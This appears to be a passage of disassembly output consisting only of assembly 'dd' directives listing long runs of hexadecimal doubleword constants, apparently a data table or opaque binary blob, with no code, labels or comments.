		dd 8163353Bh, 636943A6h, 0A1BBC084h, 991ACF78h,	0E37E27BAh
		dd 2AE3E901h, 0C821063h, 1CE468D9h, 83567055h, 140C4108h
		dd 0E97B1361h, 0BA5CE33Ch, 8BF1F5C1h, 978FAF4Fh, 169F8BEEh
		dd 0C89845A4h, 1655435Ah, 3EFD5EE9h, 11EFF202h,	0E181234Fh
		dd 0AC8C28EBh, 0F52520B8h, 682FD866h, 0C27EDCF5h, 33578E5Dh
		dd 9504D774h, 0A5061FADh, 662F7503h, 86991703h,	22D3013Ch
		dd 0A9972426h, 9755650h, 9C7FC15Bh, 6855096Dh, 3FB07583h
		dd 0C12843AAh, 9914EC2Ah, 77DEF61Eh, 31F804B7h,	7E92A6BEh
		dd 669E9A26h, 70844ACh,	83754B35h, 0EA643A92h, 0A6B7C14Eh
		dd 83BBBF00h, 0FDC5352Dh, 0FD3AEB82h, 1E0144F2h, 68769507h
		dd 317E54DEh, 481C8B8h,	0FA072C6h, 3F444366h, 0BAD33CA5h
		dd 1CC00421h, 7FED8101h, 9E6DA6E5h, 0B2C99395h,	128621F0h
		dd 67A06819h, 273828E5h, 0F7D93104h, 81CCF9D3h,	0CA875B59h
		dd 0BCCB730h, 313F023Dh, 82A201D8h, 2D02EF58h, 0B060833h
		dd 6CEC555Eh, 6859C806h, 206F357Ch, 513412Bh, 3C107D21h
		dd 2A640C96h, 498F87Ch,	31413E73h, 1C41C3E8h, 3285A4FDh
		dd 0A7A3D64Ah, 4AA51462h, 0D2905531h, 0B9B94A90h, 4C0F68C2h
		dd 10DC7D7h, 0BF685DEBh, 7475C27Eh, 782C97Eh, 726C0C96h
		dd 6E7048F2h, 3B8B7BE1h, 3C3F2255h, 0A2B77367h,	7F43E7C4h
		dd 0BC2F9293h, 0DD510BECh, 0E1E6CCCEh, 0D59AFF95h, 0CC177F61h
		dd 5F2C2E9Ah, 0D002784Fh, 7722DA0Dh, 3988EDA7h,	0AE89A6F9h
		dd 0B6471843h, 27D14C55h, 0BD260C03h, 0E58340h,	7F66BAB7h
		dd 89976092h, 1FE8F6A6h, 0E91A8321h, 4701A6C7h,	832B05EFh
		dd 0B0435B4Ah, 7CDB1058h, 73E04E87h, 7B18459Ch,	0D7C4DCA6h
		dd 1428BABBh, 0C9115BD1h, 0DAF43B75h, 9354C8Bh,	0F46BD387h
		dd 3EC4FB38h, 0A1D41F83h, 0AA3B8407h, 0A6EA4252h, 99E85FD2h
		dd 3AD82DF4h, 0E9840EACh, 1696D4DCh, 678BAFFBh,	0ADBD74Eh
		dd 0D0BF8186h, 40498A46h, 3A347AD0h, 0B2A21350h, 0A17C2D80h
		dd 0C16F85DAh, 412BF5Eh, 0B8A6A4BBh, 0E7F22B4Ah, 8060230h
		dd 23B03C2Dh, 569D065Dh, 0B0563E16h, 26BEA96Fh,	5DB72562h
		dd 3005F807h, 1CF166Eh,	0C0BF5DB8h, 3F2D7681h, 0C2AE44B6h
		dd 0E97F041Fh, 0F71CB0CCh, 700DD4Ch, 486871D4h,	0B3C0D785h
		dd 4E36E907h, 9E99BC9Ch, 0D4445317h, 0FD815451h, 0A6111275h
		dd 0F6ED0529h, 14B8010h, 1CBBBE56h, 0F2550964h,	12EE1F0Bh
		dd 422774C1h, 0E1E48DB0h, 22EBB134h, 874FD9A9h,	0D079C4FBh
		dd 7406B930h, 444ED230h, 0B5143209h, 0AEB76870h, 0E60EA5E5h
		dd 78554101h, 862062B5h, 0F70A7A9Bh, 651203DAh,	4E4FC795h
		dd 0C55D271Ch, 276FA6CFh, 0F65D1362h, 0C968C161h, 6097623h
		dd 63134801h, 4A9440E8h, 0E30CC2A0h, 0F8D2F22Dh, 8CC5970Bh
		dd 0F208D597h, 0BE211684h, 0A0793F2Dh, 0B07D710h, 0CD7FF768h
		dd 11F92D6Fh, 87DE941h,	0BB87D462h, 12160E86h, 0C22DBBF1h
		dd 0A43EF86Fh, 25F5D1BBh, 0B4E00597h, 34549709h, 30465718h
		dd 9C2CF0E1h, 5F0C102Fh, 6704F8ADh, 0D4708D27h,	0CB0712E4h
		dd 0FB0117CCh, 71B20809h, 0F46805C7h, 18D9B629h, 0C7C930A1h
		dd 4EC81704h, 0EE00B1Bh, 8C28BDD1h, 0DAA8FE95h,	2DA7C477h
		dd 2C737721h, 964292BDh, 69049CA9h, 0BB1C2D05h,	132A04F0h
		dd 0E017771Bh, 309C7B2h, 7C0C5989h, 93A28D2h, 7CC6B78h
		dd 8A072D6h, 3FE15848h,	0C505B2E9h, 69EA55EDh, 572EAD61h
		dd 0A2E88262h, 19B46959h, 79B014AAh, 0F1F61D6Fh, 19417EFAh
		dd 0E5AE0965h, 0BFC0C404h, 0ED4A1CE8h, 0E6EBF430h, 69E9851Bh
		dd 9BBDC990h, 0A782639h, 11792F2Fh, 3F1E4602h, 9D68D60Ch
		dd 100A8B42h, 0F03842DAh, 2DAE5E31h, 288B6FCDh,	630DE90Ah
		dd 0E858957Fh, 0E4AB5B7Ch, 0C3F52651h, 0E204AC85h, 8A174059h
		dd 0B0599F5Ch, 831FF64Ah, 1B20B3E8h, 3854B8AEh,	0BA5F160Ch
		dd 5C525C3Ch, 423A9050h, 0E976FC02h, 1E99586h, 0B1AADFDEh
		dd 5B8D1FFEh, 5F6B1253h, 8FDDE597h, 34D668Fh, 0E5D12D16h
		dd 650A8D8h, 0DDB002EDh, 8338DA02h, 0D5311Ch, 0CD2265E9h
		dd 0E9BC5C6Eh, 0A022432Dh, 791E1551h, 1BFB0C21h, 0B9E4B87h
		dd 0D70E6227h, 7D9BF909h, 68308CFCh, 0E665BA2Dh, 0CC880E74h
		dd 0E2895251h, 0DD994155h, 0EB4F0E06h, 98CBEFC4h, 1B2F0648h
		dd 5A828D51h, 0DD631D68h, 0E9066ACFh, 0F1432056h, 0A856AB2Fh
		dd 0F0D64BECh, 87407287h, 77EC2D80h, 68178F50h,	4CA3473Bh
		dd 4250F927h, 0D0CFFE1Dh, 0EFB45043h, 49A2D628h, 0B14A4116h
		dd 8F2420DEh, 306256B9h, 64AC070Fh, 509EE0CFh, 9C88FFBBh
		dd 0E5211257h, 0CCB16B38h, 87CC8A7Bh, 75096689h, 2158C959h
		dd 9C7F9DF0h, 4D71B7EFh, 6D7C8484h, 0AB685601h,	0BB336E28h
		dd 523304FEh, 0B93007E9h, 22891435h, 0BAD71206h, 2927A945h
		dd 55E01F27h, 0B521768Fh, 5B058F5Ch, 0AD801511h, 0A2010DF7h
		dd 6789558Fh, 0E9855965h, 8FAB87F4h, 85284B5Ch,	195D2968h
		dd 0CB4025C5h, 6F126D05h, 60A05C47h, 0C39042Dh,	0BC89BF92h
		dd 191A786h, 0DC31254Bh, 5BCB5B20h, 97D59002h, 0AE1F734Eh
		dd 2796FE09h, 0F8307381h, 90F6A9DDh, 968BE694h,	0CC7D6B49h
		dd 0D56817ABh, 96086048h, 34FB754h, 8F91A0h, 0BE593E45h
		dd 681E1499h, 7E0B0AB0h, 8B4B217Ah, 625B2A00h, 9A389509h
		dd 186C778Ch, 0CD068A0Bh, 3BAC056Fh, 0BE2D7AE8h, 295B6D52h
		dd 68F7CAF8h, 9A8DFA27h, 37C701C4h, 63E93A6Eh, 0D89D7B0Ah
		dd 0B51FEC6Fh, 0FDA9A5FBh, 0CA81013Dh, 0F19E5CD4h, 972C9D60h
		dd 8E095A71h, 0C39D71E6h, 0CE99D5BEh, 0E45B6163h, 6B00585Bh
		dd 967FE0B9h, 0C2F13108h, 8F94E9C7h, 0CD831354h, 0DB1E1C19h
		dd 546B4614h, 0BA4B9A5Dh, 0FB48078Eh, 6E718004h, 3AFC118h
		dd 0EABA6045h, 158F5A18h, 0FE644290h, 20D79D2Dh, 0D15305F2h
		dd 8E91441h, 0BDE9648h,	162D7826h, 4A9F4289h, 59046A50h
		dd 895EF331h, 9CF79AC3h, 77B27AACh, 1FE7175h, 0BF6BE568h
		dd 200D6A7Eh, 0B86B0FE1h, 513096F3h, 2672BABBh,	181B6Ah
		dd 717C2A34h, 8A9CFDE9h
		dd 3FA9DC27h, 4D73F307h, 7F89CB51h, 5743C27Dh, 67B0F8C0h
		dd 56B0E5BAh, 65465995h, 5882F049h, 0E9780C94h,	27E996F5h
		dd 19F4F189h, 6058FE5Ah, 303574A5h, 244158BFh, 49BC5CF8h
		dd 822727FAh, 4B0559A4h, 3E2D3954h, 0CB5C5B24h,	0DEE918B2h
		dd 0CBBC9h, 81265F7Eh, 0DD1D0ACBh, 7854425Dh, 0C70CA0Ah
		dd 0C3409E09h, 7A56025Fh, 9AD95842h, 0C990B42Fh, 8182ED38h
		dd 954EEA4Fh, 0F5C05330h, 0B43C6FF8h, 685D6056h, 5047520h
		dd 8ADF97A7h, 12B4A2BEh, 0DA47879h, 17B513FBh, 1314EDBEh
		dd 2AC94186h, 8FD5631h,	4A688F7Ah, 45B833FFh, 0EF84105Eh
		dd 1ED383B2h, 0D024625Fh, 0F370D75Ah, 7AB43F74h, 4A47E602h
		dd 0E27D1BE4h, 318255BAh, 6A60A138h, 0B16BFF3h,	0FBA0DD16h
		dd 6FC1BC0Dh, 50FC800Bh, 0EFB0DD27h, 2EE120EAh,	0C2B4B0E8h
		dd 93DD32F6h, 0F860C248h, 2F84806Ch, 0C0A4F3h, 2DDB7446h
		dd 6803F20Dh, 2FF26958h, 42487199h, 0B6904059h,	3909608Fh
		dd 0B1C5897Eh, 0BC704DEAh, 0FE481318h, 31F0BB55h, 68160CF2h
		dd 510C1942h, 476C3917h, 89E0C712h, 3AE8B004h, 5A722CE8h
		dd 3A39FF45h, 0DD594742h, 149DE196h, 4A789D33h,	84107F97h
		dd 0F1957F8Dh, 4C76092Ch, 8082A654h, 603091C1h,	1FB35317h
		dd 38D828E8h, 96FC329h,	377EB80h, 0C9FEE128h, 0E9F4B252h
		dd 0F77DC229h, 5EC096D6h, 5F250763h, 4058D43Dh,	646A5AD1h
		dd 45E4415Eh, 7739163Eh, 49CBE014h, 8F9C7C2Dh, 608A0B14h
		dd 61C28076h, 81306E7h,	645F3ED4h, 5E7161E7h, 0CFC1C06Eh
		dd 56582368h, 92855F71h, 0C17430AFh, 95095E98h,	57D9016Fh
		dd 0E917C7E5h, 0BD7680AEh, 835B1B50h, 59AE5880h, 847D4ED9h
		dd 0ED8EA099h, 0DA3426F6h, 0BF0F1646h, 267E0F5h, 0BE6DE95Dh
		dd 18581C5Eh, 0CB0DCCEAh, 0B481FD82h, 6A6C8108h, 5825E0A3h
		dd 475858ECh, 314B15DBh, 7BCC13FAh, 384F61FAh, 0DACC3A7Ch
		dd 0E6A05420h, 3B2DE4ADh, 5095967h, 0D5093F9Bh,	6E5016A7h
		dd 7B592B99h, 78A1F6F8h, 0D9E4525Dh, 51CBA683h,	5CBBB40h
		dd 0A018E20Bh, 8F085F02h, 0A52A3107h, 0E4BB0078h, 858D513Bh
		dd 810505D9h, 81F424E0h, 0D54DB920h, 0D528C353h, 31C8FB4Bh
		dd 9D926968h, 14E39184h, 57EC010Eh, 0CF09F749h,	891A8F01h
		dd 491D0A7h, 2A940631h,	33239F80h, 0CF212982h, 0A53A1F8Fh
		dd 22CADEFBh, 0CC6409BBh, 74070234h, 0DEE557Bh,	3F1CBA31h
		dd 0EC2BA3E9h, 4EA65EB8h, 18599918h, 0F79D9BB6h, 0C5224587h
		dd 4B85FC10h, 0BCF4E09Dh, 4D9EDD56h, 600A38E5h,	60694307h
		dd 5A805561h, 2F1253D6h, 138D6816h, 3A8A1061h, 96C7CF9h
		dd 6FB50500h, 0DE2D0188h, 0D55A0CF0h, 0DA56EF1Eh, 0FD109423h
		dd 4A1006E3h, 715B27EFh, 0B39D18BAh, 0C7B55A54h, 5E989EBh
		dd 525E6E22h, 68F5107Dh, 173D5902h, 97408284h, 7F4CE251h
		dd 0FB5A895Dh, 65E91F32h, 0F6554BE2h, 1BF1C1D0h, 12882EB1h
		dd 0AA5625E9h, 53AC8F5h, 0EA2AE658h, 24C67F89h,	401F6C85h
		dd 54C81966h, 20C9DEB7h, 0A1585F08h, 5751248Ch,	96F6BF3Bh
		dd 160843ABh, 0A4C62D53h, 0D0AA15F6h, 0BF1AE67Dh, 98357D07h
		dd 6261043Ah, 0AEEC41B8h, 3EBD5500h, 0BA1C5D3Bh, 6C9DF917h
		dd 0BEA652EFh, 8502B013h, 5F865FE4h, 0BC0306C0h, 0E9B95506h
		dd 4BC59B2Ch, 8610AEC5h, 8F10DC80h, 0BF31E5Fh, 16CB11AAh
		dd 565C242Dh, 8CE9787Ch, 5109C394h, 0C9A25C68h,	0AD43DC76h
		dd 0E20DA24Ah, 75A20570h, 5EAFA825h, 4D9BC92Ah,	802FF072h
		dd 27E4144Eh, 1D6EF77Dh, 507E6817h, 78EA89Dh, 5637DBE9h
		dd 7F00C25Ah, 5602EFF0h, 0F11211BEh, 0F389C077h, 0C84227F7h
		dd 0D3EE0BE8h, 71870A01h, 0D9E9D601h, 3894166Fh, 2816454Ch
		dd 30EC5E75h, 31F3C60h,	0DEB06B42h, 0A205CE6h, 823BFF5Bh
		dd 737C81E6h, 0F8ECB009h, 90B54B2Dh, 2549F730h,	0F71E6028h
		dd 895D3239h, 4275E94Fh, 0E5255446h, 0FE109567h, 2A5A454Bh
		dd 0D12F88C4h, 0D1E95019h, 1674052h, 3AB07125h,	8765F009h
		dd 32210525h, 0F67F638Bh, 5D9D44FDh, 0BB036FCBh, 3B91F10h
		dd 0ADEAA0D1h, 97A5614h, 41DDACCCh, 7D3C6DC8h, 0E1C0C15Bh
		dd 6E457FE5h, 6C766D9h,	0C7E60E8Eh, 440C058h, 0F280DEF6h
		dd 3C06CEC1h, 7082EEC9h, 0B202BA5Fh, 15E9C15Ch,	1CD770EBh
		dd 4B5AD328h, 3E87372Ch, 57A94904h, 4CA32F85h, 4B260180h
		dd 76EBC125h, 2A260040h, 0DD09A962h, 166CC580h,	0FC29C711h
		dd 0FED42627h, 782D5A96h, 4B460F3Eh, 22315166h,	5907F250h
		dd 3E7EE7A2h, 248F74A5h, 74E40283h, 0CA571549h,	0E90802CBh
		dd 0F6A1A9A6h, 61AE0828h, 0DD5BB00Bh, 2408C8A3h, 0E92C04B0h
		dd 0D335EA31h, 0E48959CAh, 0B0940EBDh, 57EDE1BDh, 0F065DC3Ah
		dd 0A12E5C41h, 0FC346FA4h, 0C7F3A0ABh, 656A3A0Bh, 5C28DF6Eh
		dd 91A22508h, 905C675Fh, 0D650A782h, 60F5416Ah,	6FACBF04h
		dd 0B1A91AD2h, 0F8D24EF4h, 883CC5C5h, 5D67FA39h, 29AF55E4h
		dd 6A2AF199h, 194CC554h, 210E14EBh, 74975DD5h, 0C8ABF40h
		dd 0E82DAC13h, 361AC5F8h, 910831BEh, 0C2AD971Fh, 0C9665EFEh
		dd 5955848Dh, 20E7C803h, 213613F8h, 0B63C044Dh,	8928BCA9h
		dd 524FF552h, 0E1815427h, 3513E95Ah, 29E0DA12h,	7995D3DDh
		dd 0B2680565h, 47E49818h, 3CDB7E12h, 0BBDC40EAh, 35658B23h
		dd 0FFE9509h, 436B8920h, 4C8805Ch, 2005B05Fh, 59A29B60h
		dd 0DFFADB61h, 84CBFFC5h, 1C9CE82Ah, 25725F68h,	58CACE7Fh
		dd 0EB25E353h, 0A2B83360h, 0B0C1506h, 0FE0B86B9h, 63AC611Dh
		dd 0F1663668h, 764B302Dh, 0EA1D11B2h, 16D41CD6h, 599402A9h
		dd 4031CB24h, 90D529A1h, 895663CAh, 0BA844D69h,	0EEF4E0FCh
		dd 2951E88Fh, 4BA132Bh,	12882CD7h, 0D7022BC2h, 0B7900364h
		dd 64301145h, 0F15444BCh, 6B1B9E0Eh, 0C02DF6Ch,	0D4759753h
		dd 82D20217h, 0CE4A61C6h, 7D999A55h, 87449219h,	0D18742F3h
		dd 5E64BE82h, 894A53B0h, 0AE1218E6h, 0A8B3AE75h, 4F8AA717h
		dd 3F31E69Ch, 5F54273Ch, 0EB40206Ah, 0D048F706h, 0D6CF2F4Fh
		dd 4F406224h, 0AE6C22DFh, 0D6D1DD69h, 94010313h, 144E587Fh
		dd 532A093Eh, 0F158FF51h, 1897C03Bh, 5B07E715h,	4889BF04h
		dd 17BA815Ch, 0E5C49Bh,	0EA32FB9Bh, 0C1480178h,	2361D3Fh
		dd 0CA9F1D9Fh, 82111BC9h, 9EDE030h, 76A14158h, 0C742FE08h
		dd 5BA21C75h, 1681A650h, 0CEFAA065h, 0D4A51072h, 0A967BA5Fh
		dd 983AABD7h, 0A4555E6Bh, 2B6C0BD4h, 5D23BA55h,	0D0958C66h
		dd 13FB0B3h, 2597091Eh,	2AC538E9h, 597E4BCEh, 5E27FBF6h
		dd 642C2F5Dh, 0D2943F64h, 33FB78FFh, 82A54182h,	4862B1AFh
		dd 0C857EA42h, 4F460FEFh, 455BAE9Bh, 0A3180608h, 28169235h
		dd 5B68501Fh, 58FD6F04h, 645868EDh, 24D2270Bh, 0C114315Eh
		dd 2FBF5F08h, 0AE5750DBh, 0EE31024Ah, 727F3CEDh, 2C711AE3h
		dd 58F05C95h, 8836091Bh, 533E5CF3h, 5B66DAD8h, 774C6095h
		dd 577430E9h, 2F25BF58h, 4A35E72Ch, 2A56933Ah, 4D426804h
		dd 0E81083E3h, 9CE04FFCh, 5A6FE0C3h, 0B7E68136h, 0A4FC2C71h
		dd 4E17CBFBh, 0E5B3686h, 53339BBEh, 82F00124h, 3B5A69BCh
		dd 27050702h, 0DECD8CB1h, 95A32240h, 86DF9C7Fh,	9ECBF43Dh
		dd 57E9C1E2h, 5FC19DF4h, 0FE2C25CBh, 2D7350A5h,	0B8B310BFh
		dd 1C7D99B4h, 4338C365h, 4E12E3C1h, 0F2AAC876h,	902D79BCh
		dd 0C245F12Eh, 46559C82h
		dd 47B420CAh, 0D3AA0504h, 3FD555A7h, 2E01680h, 945A503Fh
		dd 0C9264F90h, 714890D4h, 0FE4B2748h, 11ABE218h, 0F5808163h
		dd 48CACF15h, 42CA3162h, 203BA25Bh, 207F901Ah, 82B14164h
		dd 0D4803BBDh, 0A2AAF182h, 282C4DDFh, 6334F7F1h, 0F11E65ECh
		dd 0AC67D022h, 0D90EB151h, 6516F180h, 0A0EC10C9h, 0BD7A407Ch
		dd 60B83B5Fh, 2EE3B15Eh, 0A5B50BECh, 0E1B16BA1h, 4037EE2Ah
		dd 0EDEAF8A4h, 0BE5F0209h, 78319818h, 26B82066h, 150DBB07h
		dd 23A23AA9h, 23344A5h,	538C2D03h, 0EF74E3B9h, 575AF332h
		dd 0D75A9A56h, 4550D159h, 2C85BE9h, 2825689Eh, 0D31344ECh
		dd 8E059102h, 76FD45DAh, 3B7A2106h, 0C31C0C03h,	0F78BDF1Ah
		dd 83615CD7h, 2AC07501h, 31C0EFB3h, 22B7C29Ah, 0EEE781Ch
		dd 0AA387744h, 0AB4A5BA3h, 8594DB17h, 0B7BBAE13h, 0E9510B0Eh
		dd 0F492295Ah, 0EDF408E9h, 7BA350Bh, 0EFA434D2h, 0ACEF8E94h
		dd 303AC4E0h, 61B023D7h, 5C292792h, 8025A6F7h, 188E8D9h
		dd 0E3E96107h, 0ED580322h, 3460D645h, 0EE35C4A6h, 3D68E425h
		dd 83C083D2h, 0B0144911h, 50824018h, 0BFB25212h, 801220EFh
		dd 681631ECh, 0BDAD06F7h, 37C9578Eh, 4EF77429h,	9615FC4Dh
		dd 105027E2h, 6EB2D595h, 18CB7D56h, 4EE6E963h, 62373D60h
		dd 0E0F12F39h, 9F4F34C1h, 104C360h, 53D0F602h, 0C02C09B7h
		dd 0B52F94AAh, 0D425B1B8h, 2BE43A00h, 3140052Dh, 9479C15h
		dd 9FE64EE9h, 0B9D6818h, 82FCD8F5h, 527F27C4h, 8331005h
		dd 0A5AC5A30h, 0C87BFB7h, 0E8EBE574h, 0D0EA97B4h, 0A9BBE9F8h
		dd 691C209Fh, 7268AAC8h, 854B556h, 180C5E16h, 16C2C364h
		dd 0C20579A8h, 2904315Bh, 0D7D7B8AFh, 5B2DE9E9h, 0E9274BC6h
		dd 0BD728083h, 0B7ED4F3Fh, 0A0976AF2h, 0D24A91A4h, 20A9040h
		dd 12E7861h, 505C69E9h,	10D52D02h, 6EB84007h, 986880CFh
		dd 499A214Eh, 0CF715A2Eh, 4D8CEAC0h, 13429D1h, 809CEFAh
		dd 0A3E6575Fh, 0A7D0731h, 88DC555Bh, 88D0B641h,	2914FB3Fh
		dd 24597EC1h, 79502F98h, 0CF42825h, 3A264135h, 19B54AC2h
		dd 7CF4DCA1h, 0CD81036Ah, 6E21743Fh, 44A1EDB0h,	42070D2Dh
		dd 0A47955E4h, 0D5F7F232h, 335A10C6h, 6662C1C5h, 78B47C56h
		dd 99C91762h, 86DD81C1h, 123E5E6Bh, 0A8215746h,	46EAB46Ch
		dd 0FF520857h, 2DAD97A0h, 0C1497E0Fh, 20F5BCE1h, 1FBE9980h
		dd 5AD390A1h, 0DB2CC8CAh, 3DB39A4Fh, 48F5F310h,	13F84E87h
		dd 0BB011549h, 6E6A61ACh, 81562243h, 0D151799h,	0E7C2B46Ah
		dd 9EAAB512h, 0B3EED184h, 0F50193F3h, 5E591B37h, 6441BC2Ah
		dd 0F300E3B0h, 0A1A6E404h, 0D2B7C498h, 95D6817Eh, 6E04F969h
		dd 0F023977Bh, 2E015F71h, 0E929AA22h, 0A82E895Dh, 2565D4F3h
		dd 0AD685F06h, 82242EB6h, 22026C0Dh, 4165EF30h,	0DFC68011h
		dd 53639122h, 0B9ACC377h, 992F3C8Bh, 0E5D1F42Bh, 52FE4DFAh
		dd 681F5778h, 0DC272A80h, 42E7014Ah, 2F18E96Ah,	25E66812h
		dd 45FB6809h, 8540DBB1h, 9BBDE959h, 0FEA431FEh,	2011D961h
		dd 0FCBDA5E9h, 6687851h, 9B457D64h, 0B54DCAE0h,	0EB4B824Ch
		dd 6800C785h, 0B262AB93h, 0BFF8201h, 6C10D7BBh,	53C46B8h
		dd 4AB91A8Eh, 680FE00Bh, 306F4E3Ah, 0E71D8BBh, 9607948h
		dd 2041C4Dh, 0B7841C5h,	0FE184D03h, 3EE180F1h, 1610108h
		dd 3193A3BEh, 5FA32CE7h, 0FCE481B8h, 896E5112h,	4A11884Eh
		dd 4180F938h, 355FDEE9h, 7F51D139h, 0E8926CFDh,	6AB1B281h
		dd 0CD7955DBh, 572F62Dh, 85D0B02Fh, 1EF94FCh, 0F1B5DFA6h
		dd 116E3008h, 4C00E69Bh, 296CBF75h, 66599FDFh, 20D45E69h
		dd 79F29513h, 67FE669h,	982FA0EAh, 0AC5DD64Ah, 0F5492E78h
		dd 5F2F4F1Ch, 8F739394h, 27A4E7B7h, 0AB70AD5Ch,	6CB03E07h
		dd 5AC1EE02h, 48FD2F0Eh, 95312AAh, 0F329C25Eh, 10BDA684h
		dd 0BB1710E7h, 6E8EA14Eh, 0AF4A74B8h, 5C891D8Ah, 0CD2D83B0h
		dd 48690702h, 8105F801h, 4FD3E907h, 1F2B7C25h, 7531074h
		dd 0F75BDF09h, 3D18BE3Ch, 81016040h, 840AA5F6h,	0D626077Bh
		dd 0C84E6104h, 88659BA4h, 2DAB4F46h, 0A758B08Bh, 5CDCCA07h
		dd 696F1F0Dh, 7817828Dh, 9B655509h, 21049A4h, 0DDFFF805h
		dd 6091AE7Fh, 4736CE4h,	18F5532Fh, 81AA4E5Eh, 45B23E59h
		dd 0EC04DE9Fh, 0F2B0824Bh, 0E3C1C0FEh, 803281D0h, 0FD208AF7h
		dd 0AA465BE8h, 7A7380C1h, 1549463h, 0B6E1B850h,	0F131CF22h
		dd 6FC2A858h, 7F39ED06h, 245D8Eh, 272438D2h, 0B657962Dh
		dd 43E9690Ch, 0B2552E8h, 36101C58h, 35046C80h, 98252234h
		dd 903FD815h, 1E9F048Dh, 0AF2178BDh, 3268FF42h,	7303F470h
		dd 956791CDh, 0E1E45270h, 2A8C2E1h, 0E9E38F01h,	0B72CE038h
		dd 0FE082503h, 18EB14DFh, 457C63E9h, 9AF0590Bh,	0EDA3A795h
		dd 30076761h, 2FC465h, 5BF50D37h, 53F1595h, 54D40445h
		dd 9B152E9h, 567C816Eh,	0D81D7E75h, 0DF83853h, 5F2CE35Fh
		dd 4A6890A4h, 0FFF8C578h, 1393C6E2h, 4CE0B3D0h,	36BE131Bh
		dd 304C64B9h, 319A0173h, 0D329D255h, 595D965Ah,	4FD4D9A4h
		dd 57FE23C4h, 4F6A8CAh,	66A12C00h, 5A1E685Ah, 0E91F3110h
		dd 4B7682Fh, 9C685E54h,	2BCAD8FBh, 0A122A16h, 627C10Ah
		dd 0C6ABC612h, 772C0CDDh, 0F4271344h, 7F0A0868h, 0D558BD01h
		dd 0FF3A645Eh, 0A6AB6325h, 2DE9C22Fh, 0EE235FB5h, 23031D69h
		dd 43D5EDF1h, 4AB8DA99h, 5346DE81h, 92E135F1h, 0C4FB681Ch
		dd 0BFF313D6h, 9DBE3BC5h, 0B556007h, 3B20B15Eh,	451AEBEh
		dd 0EEC125B7h, 84BE8005h, 0D0B88326h, 0C5E9CE09h, 0EBF3AE09h
		dd 1879FCD1h, 770175E4h, 0D68CCC9Ch, 1D2D1633h,	257C0221h
		dd 7208ED6h, 665BA0B0h,	4C4A8890h, 0C82E530h, 3911221Dh
		dd 5B093860h, 932B8D24h, 288DF6A7h, 251977C1h, 1EA25845h
		dd 4029E098h, 9D90EBBCh, 6025E020h, 0CAF777CAh,	55BAEA0h
		dd 95744A73h, 30342CFh,	0E8B31DD7h, 20EBA0Dh, 0D0F73345h
		dd 0EC77FE68h, 0FF930972h, 0FB55DA21h, 94F28E4h, 49B802BAh
		dd 5039477Ch, 0C64BE908h, 0DD80990Eh, 80E1C009h, 0D0E4B3C3h
		dd 0F3E3F6EBh, 96B8EF5h, 89D7BA3Fh, 7405756Ah, 646497C6h
		dd 0FB5594F4h, 3CFA0E16h, 7E4EE97Dh, 843565C2h,	0CB8180E1h
		dd 0F522BEDAh, 4284413Ch, 0AFA86848h, 54E4C2D7h, 0BCA60213h
		dd 0F9E1403Bh, 2A76C66h, 874FEFD1h, 4C0AC3F7h, 0D75EF008h
		dd 823237A8h, 0BA902896h, 0D6097360h, 0F5012D24h, 0F1B19E30h
		dd 194BBF80h, 66796A11h, 167DBBDBh, 0C7E3C80Ch,	21775727h
		dd 65EC68E1h, 0E4A9B18Bh, 5C84B9DDh, 58A537BFh,	0C147B800h
		dd 505A06EFh, 1318EFF0h, 0B4594C2Dh, 0B913E731h, 20BFC6B3h
		dd 6601F838h, 0C729141Eh, 58085039h, 79371EC5h,	6C670DFBh
		dd 0DBFC7BA9h, 0AB681373h, 0B21AF2Fh, 0B90035E3h, 0A7D7F88h
		dd 0CA69BFF4h, 3C6C7E36h, 0A74CA016h, 7DBB2792h, 0DA2D3D00h
		dd 3A0A1F35h, 705D829h,	6889ED24h, 0C7597D0Eh, 7FEC2189h
		dd 4D962DC4h, 7A8BF7A5h, 4AE94148h, 11683BCBh, 0FD3B5A0Eh
		dd 0F7E98274h, 6254FC4Eh, 49F15BADh, 5CC3B1C9h,	0B51EB93Eh
		dd 0CB7B3BBh, 6EC56554h, 4D0B95F9h, 0E00641F7h,	88A6E0EFh
		dd 66582CC6h, 30D20EEAh, 0D003BCFDh, 7EE680EEh,	7891063Bh
		dd 0B0FE7D79h, 65F13029h, 0DC8243Ch, 0AC10342h,	18DF02D8h
		dd 0D8D14F25h, 52E7A84Ah, 0C5DE25D8h, 9FEC062h,	30E398FFh
		dd 285B09DEh, 0FA575AF0h
		dd 570DA071h, 1258673h,	1E9CF927h, 44B64953h, 7374F590h
		dd 78E48D27h, 122BB445h, 169E94Eh, 86856E33h, 0D83EF021h
		dd 0E825C145h, 4C657D0Ch, 263AF7ADh, 6A9E825Dh,	0BD5503C0h
		dd 225EF0EFh, 74E6E581h, 57619A2Eh, 0B2291900h,	4EE92133h
		dd 82A4F15Dh, 0A4644A8h, 0BF20D022h, 68876945h,	0F5091373h
		dd 0E9621171h, 2623F0CBh, 33C565Dh, 7A76539Ah, 3FB32AE9h
		dd 5F2EF132h, 64C19408h, 2456AB05h, 0E1D0BDC1h,	4BC8B800h
		dd 506DBE05h, 19A1585Fh, 0AF89253Fh, 3EE90347h,	0FF93ABD9h
		dd 36D3B789h, 52EF9413h, 441203FCh, 0F8057039h,	610D2CDCh
		dd 0B85750C5h, 4E0962EAh, 500FC54h, 3E9B6C8Bh, 7DF6002Dh
		dd 0D73531A5h, 700CF414h, 814A43E9h, 7D84173Eh,	0F546EB10h
		dd 0B0E4532Ah, 0C17720ECh, 51595A0Eh, 89800BB5h, 3FA504D6h
		dd 72DE9C8h, 166BE34h, 8548EC5h, 0EA30064Ch, 396FF127h
		dd 680C0F04h, 0CEF35D17h, 29A0924Eh, 772F3D7Eh,	0CDE9DE10h
		dd 5E1623BEh, 83A47FECh, 359C34DAh, 0A4C5A384h,	8113A5B4h
		dd 7A2A8857h, 0C258346Eh, 0C1D73414h, 0AA964877h, 99F0A99Ch
		dd 886B5C3Eh, 0D9E0DA0Bh, 2DF18080h, 63DB2817h,	574CFF28h
		dd 2CF00914h, 0FBAC7AEBh, 0D114E3D2h, 58C908C6h, 0D32CAF2Bh
		dd 0F0DE8398h, 1677221Eh, 0E5C4B7D3h, 99EB9512h, 4767FCFDh
		dd 9B0FF6BAh, 4B2A5830h, 815C602Bh, 317218CAh, 6205DEA4h
		dd 0C1A87995h, 6F144B68h, 0ED802634h, 953DF639h, 0D0E25500h
		dd 72BDE475h, 0AF3E5534h, 582FE66Eh, 0C1E210BBh, 4ECF6809h
		dd 5D4B1455h, 454C8C5Fh, 0C580807Bh, 0DF20937Dh, 0E1E5A04Bh
		dd 41661F3Ch, 0FD31170Dh, 61C502CCh, 55DC1164h,	0C7E1A2C8h
